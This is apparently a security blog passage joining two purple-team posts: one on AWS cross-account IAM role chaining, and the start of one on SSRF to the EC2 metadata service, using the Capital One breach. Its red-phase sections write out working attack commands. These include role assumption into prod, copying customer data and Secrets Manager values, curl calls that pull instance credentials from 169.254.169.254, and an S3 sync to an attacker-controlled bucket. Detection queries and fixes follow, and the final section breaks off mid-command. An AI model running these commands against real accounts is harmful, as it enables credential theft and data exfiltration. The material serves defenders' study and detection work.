That 58-minute window is the entire story.

The Lambda’s execution role was scoped to the dev account, so initial triage assumed the blast radius was limited to dev. It wasn’t. A previous sprint had set up a cross-account trust relationship so the Lambda could read from the prod data lake during a data quality audit. The trust policy on the datalake-reader role in prod read:

"Principal": {"AWS": "arn:aws:iam::111111111111:root"}

Not the Lambda’s specific execution role ARN. The entire dev account root. Any identity in the dev account — including the one the attacker now held — could assume datalake-reader in prod.

The attacker enumerated cross-account roles from inside the compromised Lambda context, found the trust relationship, assumed the prod role, listed the data lake S3 bucket, and exfiltrated 14 GB of customer data parquet files before the first GuardDuty finding surfaced.

The revelation: cloud lateral movement doesn’t require network pivoting. It requires finding one IAM trust relationship that’s too broad.

The compromise of the dev Lambda was recoverable — rotate credentials, remediate the repo, done. The cross-account trust policy turned it into a prod data breach.

Red Phase: The Cross-Account Attack Chain

Step 1: Enumerate Trust Policies from a Compromised Role

An attacker’s first move inside a cloud environment is always the same: establish who they are and what they can reach.

aws sts get-caller-identity
# Returns:
# {
#   "UserId": "AROAIOSFODNN7EXAMPLE:function-name",
#   "Account": "111111111111",
#   "Arn": "arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name"
# }

# List roles in the current account and their trust policies
# The trust policy (AssumeRolePolicyDocument) shows who can assume each role
aws iam list-roles \
  --query 'Roles[*].[RoleName,AssumeRolePolicyDocument]' \
  --output json | \
  jq '.[] | {
    role: .[0],
    principals: (.[1].Statement[].Principal.AWS // .[1].Statement[].Principal.Service)
  }'

# More targeted: find roles that have cross-account trust relationships
# Look for principal ARNs from a different account ID
aws iam list-roles --output json | \
  jq --arg own_account "111111111111" \
  '.Roles[] | 
    .AssumeRolePolicyDocument.Statement[] |
    select(.Principal.AWS? | 
      strings | 
      test($own_account) | not
    ) |
    {role: .Resource // "check-parent", principal: .Principal}'

# Simulate whether the current identity can assume a specific cross-account role
# This confirms the trust policy actually allows the assumption before trying it
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::111111111111:role/lambda-execution-role \
  --action-names sts:AssumeRole \
  --resource-arns arn:aws:iam::222222222222:role/datalake-reader \
  --query 'EvaluationResults[0].EvalDecision' \
  --output text
# Returns: allowed

Step 2: Assume the Cross-Account Role

# Assume the target role — this is the lateral movement step
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name "recon-$(date +%s)" \
  --query 'Credentials'
# Returns:
# {
#   "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
#   "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
#   "SessionToken": "IQoJb3JpZ2luX2...(truncated)",
#   "Expiration": "2024-01-15T14:32:00Z"
# }

# Export the credentials to use in subsequent commands
export AWS_ACCESS_KEY_ID="ASIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2..."

# Confirm the new identity — now operating in prod account context
aws sts get-caller-identity
# {
#   "Account": "222222222222",  ← prod account
#   "Arn": "arn:aws:sts::222222222222:assumed-role/datalake-reader/recon-1705327920"
# }

Step 3: Enumerate and Exfiltrate from Prod

# What buckets are accessible from this role?
aws s3 ls

# Enumerate the data lake bucket
aws s3 ls --recursive s3://prod-datalake-bucket | \
  awk '{print $3, $4}' | \
  sort -rn | \
  head -20
# Shows: file sizes and paths
# 15728640  customer-data/2024/01/customer-data.parquet
# 8388608   analytics/sessions/session-events.parquet
# ...

# Exfiltrate — this is a single API call, logged in CloudTrail
aws s3 cp s3://prod-datalake-bucket/customer-data/2024/01/ /tmp/ \
  --recursive \
  --quiet

# Check for Secrets Manager access
aws secretsmanager list-secrets \
  --query 'SecretList[].{Name:Name,LastRotated:LastRotatedDate}' \
  --output table

aws secretsmanager get-secret-value \
  --secret-id prod/analytics-db/credentials \
  --query 'SecretString' \
  --output text

Step 4: Role Chaining — Staying in the Environment

Role chaining is assuming one role then using that session to assume another. It extends the attacker’s reach without returning to the original compromised identity.

# From the prod datalake-reader context, can we go further?
# Check what other roles trust this prod role, or what this role can assume
aws iam list-roles --output json | \
  jq '.Roles[] | 
    select(.AssumeRolePolicyDocument.Statement[].Principal.AWS? | 
      strings | 
      test("datalake-reader")
    ) | .RoleName'

# If the datalake-reader role has sts:AssumeRole permissions itself,
# the chain continues — each hop gets a fresh 1-hour session
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/analytics-admin \
  --role-session-name "second-hop-$(date +%s)"

Tools Attackers Use for Cloud Lateral Movement Enumeration

Pacu (Rhino Security Labs): Modular AWS exploitation framework. The iam__enum_users_roles_policies_groups and iam__privesc_scan modules map the full IAM graph and identify assumption paths automatically.

# Pacu: enumerate IAM and find assumable roles
pacu
> run iam__enum_users_roles_policies_groups
> run iam__privesc_scan

CloudFox (Bishop Fox): Designed specifically for finding attack paths in cloud environments. The assume-role command enumerates all roles the current identity can assume, including cross-account.

# CloudFox: find all roles assumable from current identity
cloudfox aws -p target-profile assume-role -v2

# CloudFox: find all cross-account trust relationships
cloudfox aws -p target-profile resource-trusts -v2

aws-recon: Broad enumeration tool that maps IAM, S3, EC2, RDS, Secrets Manager, and trust relationships across accounts in a single pass.

Blue Phase: Detection

CloudTrail Signal: Cross-Account AssumeRole

Every sts:AssumeRole call is logged in CloudTrail. Cross-account calls are the specific signal to filter for.

# Query CloudTrail for cross-account AssumeRole events in the last 24 hours
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time "$(date -d '24 hours ago' --iso-8601=seconds)" \
  --output json | \
  jq '.Events[].CloudTrailEvent | fromjson |
    select(
      .requestParameters.roleArn != null and
      (.userIdentity.accountId != null) and
      (.requestParameters.roleArn | test(.userIdentity.accountId) | not)
    ) |
    {
      time: .eventTime,
      source_identity: .userIdentity.arn,
      source_account: .userIdentity.accountId,
      assumed_role: .requestParameters.roleArn,
      session_name: .requestParameters.roleSessionName,
      source_ip: .sourceIPAddress
    }'

The CloudTrail event structure for a cross-account assumption looks like this:

{
  "eventSource": "sts.amazonaws.com",
  "eventName": "AssumeRole",
  "userIdentity": {
    "type": "AssumedRole",
    "accountId": "111111111111",
    "arn": "arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name"
  },
  "requestParameters": {
    "roleArn": "arn:aws:iam::222222222222:role/datalake-reader",
    "roleSessionName": "recon-1705327920"
  },
  "sourceIPAddress": "203.0.113.42",
  "userAgent": "aws-cli/2.13.0 Python/3.11.0 Linux/5.15.0"
}

The key fields: userIdentity.accountId is 111111111111 (dev), requestParameters.roleArn contains 222222222222 (prod). Those two account IDs not matching is the cross-account signal.

A fresh compromise indicator: userAgent showing aws-cli for a role that normally only calls AWS APIs from Lambda runtime (which uses the Python SDK and shows a different user agent). Lambda functions don’t call the CLI — if you see aws-cli user agent on a Lambda role, that’s a human or automated tool using stolen credentials.

Athena Query: Cross-Account Assumptions Across the Organization

-- Athena against S3-backed CloudTrail logs (org-level trail)
-- Finds all cross-account AssumeRole events in the past 7 days
SELECT
  eventtime,
  useridentity.accountid AS source_account,
  useridentity.arn AS source_identity,
  requestparameters['roleArn'] AS target_role,
  sourceipaddress,
  useragent,
  -- Flag: session created quickly after identity first seen (fresh compromise)
  CASE
    WHEN DATEDIFF(
      'minute',
      CAST(eventtime AS timestamp),
      CURRENT_TIMESTAMP
    ) < 300 THEN 'RECENT'
    ELSE 'AGED'
  END AS session_age
FROM cloudtrail_logs
WHERE
  eventsource = 'sts.amazonaws.com'
  AND eventname = 'AssumeRole'
  AND errorcode IS NULL
  AND from_iso8601_timestamp(eventtime) > current_timestamp - interval '7' day
  -- Cross-account: source account ID not in the target role ARN
  AND useridentity.accountid NOT IN (
    SELECT DISTINCT
      REGEXP_EXTRACT(requestparameters['roleArn'], 'arn:aws:iam::(\d+):', 1)
    FROM cloudtrail_logs
    WHERE eventname = 'AssumeRole'
  )
ORDER BY eventtime DESC;

GuardDuty Findings for IAM Lateral Movement

GuardDuty surfaces the following finding types relevant to cross-account lateral movement:

# Pull active GuardDuty findings scoped to IAM lateral movement indicators
DETECTOR_ID=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text)

aws guardduty list-findings \
  --detector-id "${DETECTOR_ID}" \
  --finding-criteria '{
    "Criterion": {
      "type": {
        "Equals": [
          "Recon:IAMUser/UserPermissions",
          "PrivilegeEscalation:IAMUser/AdministrativePermissions",
          "CredentialAccess:IAMUser/AnomalousBehavior",
          "Exfiltration:S3/ObjectRead.Unusual"
        ]
      },
      "severity": {
        "GreaterThanOrEqualTo": 4
      }
    }
  }' \
  --query 'FindingIds' --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id "${DETECTOR_ID}" \
    --finding-ids | \
  jq '.Findings[] | {
    type: .Type,
    severity: .Severity,
    account: .AccountId,
    resource: .Resource.AccessKeyDetails.UserName,
    created: .CreatedAt
  }'

AWS Access Analyzer: Automated Trust Policy Audit

Access Analyzer scans all resource-based policies in the account and flags any that grant access to principals outside the account or organization. It surfaces the vulnerable trust policy before an attacker finds it.

# List all Access Analyzer findings — these are cross-account or public access grants
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query 'analyzers[0].arn' --output text)

aws accessanalyzer list-findings \
  --analyzer-arn "${ANALYZER_ARN}" \
  --filter '{"status": {"eq": ["ACTIVE"]}}' \
  --output json | \
  jq '.findings[] | {
    id: .id,
    resource_type: .resourceType,
    resource: .resource,
    principal: .principal,
    action: .action,
    condition: .condition,
    created: .createdAt
  }'

An Access Analyzer finding for the vulnerable trust policy looks like:

{
  "id": "a1b2c3d4-...",
  "resourceType": "AWS::IAM::Role",
  "resource": "arn:aws:iam::222222222222:role/datalake-reader",
  "principal": {"AWS": "arn:aws:iam::111111111111:root"},
  "action": ["sts:AssumeRole"],
  "condition": {},
  "status": "ACTIVE"
}

The arn:aws:iam::111111111111:root principal with no condition block is the flag — the entire dev account, no restrictions.

Purple Phase: Structural Fixes

Fix 1: Scope the Trust Policy to the Specific Source ARN

This is the primary fix. The trust policy should name the exact role that needs access, not the account root.

// BAD — allows any identity in the dev account to assume this role
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::111111111111:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

// GOOD — only the specific Lambda execution role can assume this role
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::111111111111:role/api-processor-lambda-execution-role"
      },
      "Action": "sts:AssumeRole",
      "Condition": {
        "StringEquals": {
          "sts:ExternalId": "prod-datalake-access-v1"
        }
      }
    }
  ]
}

# Update an existing trust policy to scope it properly
aws iam update-assume-role-policy \
  --role-name datalake-reader \
  --policy-document file://scoped-trust-policy.json

Fix 2: Add ExternalId for Confused Deputy Protection

ExternalId is a shared secret between the two parties establishing the cross-account trust. When the source role calls sts:AssumeRole, it must provide the ExternalId value, or the assumption is denied.

This protects against the confused deputy problem: an attacker who compromises a role that legitimately trusts your role cannot exploit that trust without also knowing the ExternalId.

# Source (dev Lambda) must pass ExternalId when assuming the prod role
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name "api-processor-job" \
  --external-id "prod-datalake-access-v1"
# If ExternalId is wrong or absent: error — not authorized to assume role

The limitation: ExternalId does not help if the source account itself is compromised and the attacker has access to the application code or environment variables that contain the ExternalId value. It adds friction for opportunistic attackers and covers the confused deputy scenario — it is not a substitute for scoping the principal ARN.

Fix 3: Organizations SCPs to Restrict Cross-Account Assumptions

Service Control Policies at the AWS Organizations level can restrict which accounts are allowed to assume roles in which other accounts. This is the enforcement layer that cannot be bypassed by any identity inside a member account.

// SCP: Only allow cross-account role assumptions between approved account pairs
// Attach to the prod account's OU
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "RestrictCrossAccountAssumeRole",
      "Effect": "Deny",
      "Action": "sts:AssumeRole",
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:PrincipalAccount": [
            "111111111111",
            "333333333333"
          ]
        },
        "BoolIfExists": {
          "aws:PrincipalIsAWSService": "false"
        }
      }
    }
  ]
}

This SCP denies any sts:AssumeRole call that originates from an account not in the approved list. Even if someone adds a new trust policy in prod that allows an arbitrary external account, the SCP blocks the call at the organization level.

Fix 4: Enable Access Analyzer Organization-Wide

Access Analyzer should run with an organization-level analyzer, not just per-account. The organization analyzer has visibility across all member accounts and flags cross-account trust policies automatically.

# Create an organization-level analyzer (run from the management account)
aws accessanalyzer create-analyzer \
  --analyzer-name org-wide-access-analyzer \
  --type ORGANIZATION \
  --tags '{"Environment": "production", "Team": "security"}'

# List active findings organization-wide
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query "analyzers[?type=='ORGANIZATION'].arn | [0]" \
  --output text)

aws accessanalyzer list-findings \
  --analyzer-arn "${ANALYZER_ARN}" \
  --filter '{"resourceType": {"eq": ["AWS::IAM::Role"]}, "status": {"eq": ["ACTIVE"]}}' \
  --output json | \
  jq '.findings[] | {resource: .resource, principal: .principal}'

Fix 5: Prefer OIDC Workload Identity Over Cross-Account Roles

Where the access pattern allows it, replacing the cross-account role with OIDC workload identity eliminates the static trust relationship entirely. A Lambda function with an OIDC identity can authenticate to the prod account by exchanging a token, without any persistent trust policy entry that an attacker could enumerate and exploit.

The federated identity trust boundaries approach using OIDC workload identity removes the assumable role from the attack surface completely — there is no trust policy to misscope, no role ARN to enumerate, and no sts:AssumeRole call in CloudTrail to detect because the assumption never happens.

Fix 6: Enable GuardDuty Cross-Account Threat Detection at Org Level

GuardDuty with multi-account management via AWS Organizations correlates threat signals across accounts. A pattern that looks like routine IAM activity in isolation — role assumption, S3 ListBucket, GetObject — reads as a lateral movement sequence when correlated across dev and prod accounts.

# Enable GuardDuty for all accounts in the organization (from management account)
DETECTOR_ID=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text)

aws guardduty update-organization-configuration \
  --detector-id "${DETECTOR_ID}" \
  --auto-enable \
  --data-sources '{
    "S3Logs": {"AutoEnable": true},
    "Kubernetes": {"AuditLogs": {"AutoEnable": true}},
    "MalwareProtection": {"ScanEc2InstanceWithFindings": {"AutoEnable": true}}
  }'

Production Gotchas

ExternalId doesn’t protect you if the source account is compromised. The attacker who holds the dev Lambda’s execution role credentials also has access to the Lambda’s environment variables and source code — where the ExternalId value is likely stored. ExternalId is not a secret the attacker can’t reach; it is a value the legitimate caller passes to prove it initiated the request. Scope the principal ARN first; add ExternalId as a second layer.

Access Analyzer only catches public and cross-account access, not intra-account lateral movement. If the attacker is already operating inside the same account as the target role, Access Analyzer does not flag the trust relationship. Intra-account over-broad trust policies require IAM policy analysis tooling (Cloudsplaining, Prowler) to surface — Access Analyzer won’t show them.

Role chaining resets the session clock but the window is still one hour. sts:AssumeRole sessions last up to one hour by default. An attacker doing role chaining gets a fresh one-hour window at each hop. Persistent access requires refreshing before expiry — which means repeated AssumeRole calls in CloudTrail that form a detectable pattern if you’re querying for it.

S3 exfiltration may not trigger GuardDuty immediately. GuardDuty’s Exfiltration:S3/ObjectRead.Unusual finding uses a behavior baseline. A new attacker session has no baseline — the first data exfiltration may not fire the finding if the volume appears “normal” relative to what GuardDuty has seen from that role before. CloudTrail GetObject events are the reliable signal; don’t rely on GuardDuty alone for S3 exfiltration detection.

arn:aws:iam::ACCOUNT:root in a trust policy does not mean the root user specifically. This is a common misread. arn:aws:iam::123456789012:root means any principal in account 123456789012 — IAM users, roles, the root user, and federated identities. It is the account-level wildcard, which is exactly why it’s dangerous in a cross-account trust policy.

Quick Reference

Key Takeaways

• Cloud lateral movement IAM chains are not exploits — they are valid API calls that execute because someone wrote a trust policy that was too broad; the fix is always in the trust policy, not in the network
• Every cross-account trust policy that uses arn:aws:iam::ACCOUNT:root as the principal is an open door for any compromised identity in that account — scope it to the specific role ARN before an attacker finds it before you do
• CloudTrail AssumeRole events where the principal’s account ID doesn’t match the target role’s account ID are the detection signal; run the Athena query in your environment this week and look at what comes back
• AWS Access Analyzer with an organization-level analyzer surfaces the vulnerable trust policies automatically — if you’re not running it, you’re auditing trust policies manually or not at all
• IAM privilege escalation paths and cross-account lateral movement compound: an attacker who escalates privilege inside a source account has more roles to attempt cross-account assumptions from, extending the blast radius further
• Defense in depth requires all three layers: scoped trust policy principal, ExternalId condition, and an SCP blocking assumptions from non-approved accounts — any single layer has a bypass

What’s Next

EP11 is where the series pivots from attack paths to detection engineering. We’ve covered how attackers compromise identities, escalate privilege, move laterally through cloud accounts, and exfiltrate data. EP11 asks a harder question: how do you build detection rules that catch these techniques at the kernel level — before the attack completes, not after it shows up in CloudTrail?

The answer involves eBPF: kernel-level visibility that gives you process execution context, network connections, and file system access in real time, mapped to the cloud workload identity making the API calls. A SIEM ingesting CloudTrail logs sees what happened after the fact. eBPF running on the node sees the aws sts assume-role subprocess spawn, the credential file write, and the outbound S3 connection — while it’s happening.

Get EP11 in your inbox when it publishes → subscribe at linuxcent.com

The post Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained appeared first on Linuxcent.

What Is Purple Team? → OWASP Top 10 Cloud → Breach Landscape 2020–2025 → Broken Access Control → MFA Fatigue → CI/CD Secrets → SSRF to Cloud Metadata

TL;DR

• SSRF cloud metadata attack is OWASP A10: an attacker exploits a server-side request forgery vulnerability to reach 169.254.169.254 — the EC2 Instance Metadata Service — and retrieve IAM role credentials without authentication
• IMDSv1 (the default before 2019) requires no authentication token; any HTTP request from the instance to the IMDS endpoint returns credentials — SSRF anywhere in the stack is sufficient
• Capital One (2019): a misconfigured WAF running on EC2 had an SSRF vulnerability → attacker hit the IMDS endpoint → retrieved IAM role credentials → enumerated and exfiltrated over 100 million customer records from S3; $190M settlement
• IMDSv2 requires a PUT request to obtain a session token first — a CSRF/SSRF-blocked flow — making the IMDS resistant to standard SSRF exploitation; --http-tokens required is the one-line enforcement
• Hop limit of 1 is the container-layer defense: it prevents any process inside a container from reaching IMDS because the TTL expires before the packet traverses the additional network layer
• The structural fix is eliminating the credential entirely: OIDC workload identity eliminates static credentials replaces the attached IAM role with a dynamically issued, scoped token — no IMDS credential to steal

OWASP Mapping: A10 — Server-Side Request Forgery (SSRF). The attacker causes the server to make a request to an unintended destination — in this case, the link-local metadata endpoint that returns cloud IAM credentials.

The Big Picture

┌─────────────────────────────────────────────────────────────────────────┐
│                    SSRF → IMDS → CREDENTIAL CHAIN                       │
│                                                                         │
│   ATTACKER                                                              │
│      │                                                                  │
│      │  1. Discovers SSRF in web app (WAF, proxy, image fetch, etc.)    │
│      │                                                                  │
│      ▼                                                                  │
│   WEB APP / WAF (running on EC2)                                        │
│      │                                                                  │
│      │  2. App follows attacker-controlled URL                          │
│      │     GET http://169.254.169.254/latest/meta-data/                 │
│      │     iam/security-credentials/ROLE_NAME                          │
│      ▼                                                                  │
│   EC2 INSTANCE METADATA SERVICE (IMDSv1 — no auth required)            │
│      │                                                                  │
│      │  3. Returns JSON: AccessKeyId, SecretAccessKey, Token            │
│      ▼                                                                  │
│   ATTACKER (now has temporary IAM credentials)                          │
│      │                                                                  │
│      │  4. aws sts get-caller-identity → confirm identity               │
│      │  5. aws s3 ls → enumerate all accessible buckets                 │
│      │  6. aws s3 cp s3://target-bucket/ . --recursive                  │
│      ▼                                                                  │
│   100M+ customer records exfiltrated                                    │
│                                                                         │
│   ─────────────────────────────────────────────────────────────────     │
│   IMDSv2 BREAKS THIS CHAIN AT STEP 2                                    │
│   PUT /latest/api/token required first → SSRF can't follow             │
│   (SSRF typically cannot initiate a PUT before a GET)                   │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

The SSRF cloud metadata attack chain is short enough to fit in a single diagram because there are only three moving parts: the SSRF vulnerability, an unauthenticated metadata endpoint, and the IAM credentials waiting behind it. Remove any one of those three elements and the chain breaks. Capital One had all three.

The Incident: Capital One (2019)

In March 2019, a misconfigured WAF at Capital One was running on AWS EC2. The WAF was a commercial product deployed in an EC2 instance with an attached IAM role — standard practice, necessary for the WAF to interact with other AWS services.

The attacker, later identified as Paige Thompson (arrested July 2019, former AWS engineer), found an SSRF vulnerability in the WAF’s configuration. The exact misconfiguration has been described as a firewall rule that allowed the instance to make outbound requests to internal destinations, including the link-local metadata endpoint.

The attack chain, reconstructed from court documents and Capital One’s public disclosures:

1. Identify SSRF in WAF
   ├── WAF accepts HTTP requests and forwards them to backend
   └── Attacker crafts request that causes WAF to make outbound HTTP call
       to attacker-controlled destination — confirms SSRF exists

2. Target the IMDS endpoint
   └── http://169.254.169.254/latest/meta-data/iam/security-credentials/
       (link-local address, reachable only from within the EC2 instance)

3. Enumerate the attached role
   └── http://169.254.169.254/latest/meta-data/iam/security-credentials/
       → returns role name: "capital-one-waf-role" (illustrative)

4. Retrieve the credentials
   └── http://169.254.169.254/latest/meta-data/iam/security-credentials/capital-one-waf-role
       → returns: AccessKeyId, SecretAccessKey, Token, Expiration

5. Export credentials to attacker-controlled system
   └── The SSRF response body contains the JSON credential blob
       Attacker exfiltrates the JSON out-of-band

6. Use credentials from external system
   ├── aws configure (with stolen AccessKeyId, SecretAccessKey, Token)
   ├── aws sts get-caller-identity → confirm IAM role identity
   ├── aws s3 ls → lists all S3 buckets the role can see
   └── aws s3 cp s3://[capital-one-bucket]/ . --recursive
       → 106 million customer records
       → 140,000 Social Security numbers
       → 80,000 bank account numbers

IMDSv1 required no authentication. The WAF’s attached IAM role had s3:GetObject and s3:ListBucket permissions scoped broadly enough to reach the data buckets. The SSRF was the entry point; the unauthenticated metadata endpoint was the amplifier; the overly permissive IAM role was the impact multiplier.

Capital One paid a $190M settlement. AWS did not change IMDSv1 as a result — they had already released IMDSv2 in November 2019, months after the breach was discovered (July 2019). The breach timeline predates IMDSv2 availability. What it demonstrated was not a zero-day but a known architectural weakness that had been present since EC2 launched.

The revelation that the industry took away: IMDSv1 has no authentication. Any SSRF vulnerability anywhere in your stack — in the application, in a WAF, in a sidecar, in a Lambda calling your EC2 — is a straight line to your IAM role credentials. The SSRF doesn’t need to be severe or complex. It just needs to reach 169.254.169.254.

Red Phase: How the Attack Works

What SSRF Is

Server-Side Request Forgery is a vulnerability class where an attacker can cause the server to make HTTP requests to destinations of the attacker’s choosing. The server acts as a proxy: the request originates from the server’s network context, not the attacker’s. This is what makes it dangerous in cloud environments — the server has access to link-local addresses, VPC-internal services, and cloud metadata endpoints that the attacker cannot reach directly from the internet.

SSRF surfaces in any feature that causes the server to fetch a URL on behalf of the user:
– Image URL upload/preview (e.g., “fetch this avatar URL”)
– Webhook configuration (server calls a URL you provide)
– PDF generation from URL
– Reverse proxies and WAFs with request-forwarding rules
– Server-side URL validation endpoints

Why the Metadata Endpoint Is the Target

169.254.169.254 is the IPv4 link-local address AWS reserves for the Instance Metadata Service (IMDS). It is only reachable from within the EC2 instance itself — not from the VPC, not from the internet. Every EC2 instance has it. No security group rule can block it because it does not traverse the VPC network stack. It is a hypervisor-level endpoint injected into the instance.

The IMDS endpoint serves instance-specific data: instance ID, AMI ID, region, availability zone, network interfaces — and, critically, the temporary credentials for any IAM role attached to the instance.

# (IMDSv1 — no token required, works with a plain curl)

# Step 1: Enumerate what's available under iam/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Output: the name of the attached IAM role
# Example output: MyApplicationRole

# Step 2: Retrieve the credentials for that role
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyApplicationRole

The response from Step 2 looks like this:

{
  "Code": "Success",
  "LastUpdated": "2019-03-22T18:03:30Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAQFAKEKEYIDEXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYFAKESECRETKEY",
  "Token": "FQoDYXdzEJr//////////wEa...very-long-session-token...==",
  "Expiration": "2019-03-22T24:03:30Z"
}

These are real, valid AWS temporary credentials. The Token field is the STS session token. All three values together authenticate as the IAM role attached to the instance, with whatever permissions that role has been granted.

The Full Attack Chain

Step-by-step, with the commands an attacker would run after recovering credentials from an SSRF:

Step 1: Confirm the SSRF and find the metadata endpoint

# Attacker sends request that causes the vulnerable server to fetch a URL
# The exact mechanism depends on the vulnerability (webhook, image URL, etc.)
# For a Capital One-style WAF SSRF, this might be a crafted HTTP header

# Test if SSRF can reach IMDS:
# Attacker controls a listener (e.g., Burp Collaborator, requestbin)
# then pivots to the metadata endpoint once SSRF is confirmed

Step 2: Exfiltrate credentials via SSRF

# Via the SSRF, the server makes this request:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → returns role name in response body

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyApplicationRole
# → returns AccessKeyId, SecretAccessKey, Token JSON

Step 3: Use credentials from attacker’s system

# Export the stolen credentials
export AWS_ACCESS_KEY_ID="ASIAQFAKEKEYIDEXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYFAKESECRETKEY"
export AWS_SESSION_TOKEN="FQoDYXdzEJr...=="

# Confirm identity
aws sts get-caller-identity
# Output shows which account and role — confirms credentials are valid

{
    "UserId": "AROAQFAKEUSERID:i-01234567890abcdef0",
    "Account": "123456789012",
    "Arn": "arn:aws:sts::123456789012:assumed-role/MyApplicationRole/i-01234567890abcdef0"
}

Step 4: Enumerate and exfiltrate

# List all accessible S3 buckets
aws s3 ls
# Output: all buckets the role has s3:ListBucket on

# List contents of a specific bucket
aws s3 ls s3://target-bucket/ --recursive | head -50

# Check what IAM actions are allowed (enumerate permissions)
aws iam simulate-principal-policy \
  --policy-source-arn "arn:aws:sts::123456789012:assumed-role/MyApplicationRole/i-01234567890abcdef0" \
  --action-names "s3:GetObject" "s3:PutObject" "ec2:DescribeInstances" "iam:ListRoles" \
  --query 'EvaluationResults[?EvalDecision==`allowed`].EvalActionName' \
  --output text

# Exfiltrate
aws s3 cp s3://target-bucket/ /tmp/exfil/ --recursive
# Or to attacker-controlled bucket:
aws s3 sync s3://target-bucket/ s3://attacker-bucket/

Simulating It Safely: Test IMDSv1 Enforcement on Your Own Instances

Before running detection controls, confirm which of your instances are still vulnerable:

# Test 1: Can you reach IMDS at all? (run from inside the instance)
curl -s http://169.254.169.254/latest/meta-data/ --max-time 2
# If this returns a list of metadata fields, IMDS is reachable

# Test 2: Is IMDSv1 still enabled? (no token required)
curl -s http://169.254.169.254/latest/meta-data/instance-id --max-time 2
# If this returns an instance ID without supplying a token → IMDSv1 is enabled
# Example output: i-01234567890abcdef0

# Test 3: Check the enforcement state via AWS CLI (from outside the instance)
aws ec2 describe-instances \
  --instance-ids i-01234567890abcdef0 \
  --query 'Reservations[].Instances[].MetadataOptions'

[
    {
        "State": "applied",
        "HttpTokens": "optional",           ← "optional" means IMDSv1 is still enabled
        "HttpPutResponseHopLimit": 1,
        "HttpEndpoint": "enabled",
        "HttpProtocolIpv6": "disabled",
        "InstanceMetadataTags": "disabled"
    }
]

"HttpTokens": "optional" means IMDSv1 is still active. Any SSRF in the instance’s software stack can reach these credentials without a token.

# Audit all instances in a region for IMDSv1 exposure
aws ec2 describe-instances \
  --query 'Reservations[].Instances[].{
    InstanceId: InstanceId,
    Name: Tags[?Key==`Name`].Value | [0],
    HttpTokens: MetadataOptions.HttpTokens,
    HopLimit: MetadataOptions.HttpPutResponseHopLimit
  }' \
  --output table | \
  grep -E "optional|INSTANCE"
# Any row showing "optional" is IMDSv1-exposed

Blue Phase: Detection

What CloudTrail Logs When IMDS Credentials Are Abused

The IMDS credential theft itself is silent — there is no CloudTrail event for an IMDS GET request. The attacker’s use of the stolen credentials is what generates logs. The key signal is GetCallerIdentity from an unusual source IP paired with the instance role’s ARN appearing in CloudTrail from an IP that is not the instance itself.

# Find API calls made using instance role credentials from external IPs
# Instance roles appear in CloudTrail as assumed-role ARNs
DETECTOR_ROLE="MyApplicationRole"
INSTANCE_IP="10.0.1.50"  # Your instance's known IP

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetCallerIdentity \
  --start-time "$(date -d '7 days ago' --iso-8601=seconds)" \
  --query 'Events[].CloudTrailEvent' \
  --output text | \
  jq -r 'fromjson |
    select(.userIdentity.sessionContext.sessionIssuer.userName == "'"${DETECTOR_ROLE}"'") |
    {
      time: .eventTime,
      event: .eventName,
      sourceIP: .sourceIPAddress,
      userAgent: .userAgent,
      region: .awsRegion,
      roleArn: .userIdentity.arn
    }' | \
  jq "select(.sourceIP != \"${INSTANCE_IP}\")"
  # Any result here = role credentials being used from outside the instance

The tell: the userIdentity.arn will contain the instance ID as the role session name (e.g., assumed-role/MyApplicationRole/i-01234567890abcdef0). If that ARN is making API calls from an IP address that is not the EC2 instance, someone has stolen the credentials and is using them externally.

GuardDuty: The Purpose-Built Finding

GuardDuty has a specific finding for exactly this scenario:

UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS

This finding fires when GuardDuty detects that temporary credentials associated with an EC2 instance role are being used from an IP address outside of AWS entirely — meaning someone has physically exfiltrated the credentials to their own system and is using them from there.

# Retrieve this specific finding type from GuardDuty
DETECTOR_ID=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text)

aws guardduty list-findings \
  --detector-id "${DETECTOR_ID}" \
  --finding-criteria '{
    "Criterion": {
      "type": {
        "Equals": [
          "UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS",
          "UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS"
        ]
      }
    }
  }' \
  --query 'FindingIds' --output text | \
  xargs -n 10 aws guardduty get-findings \
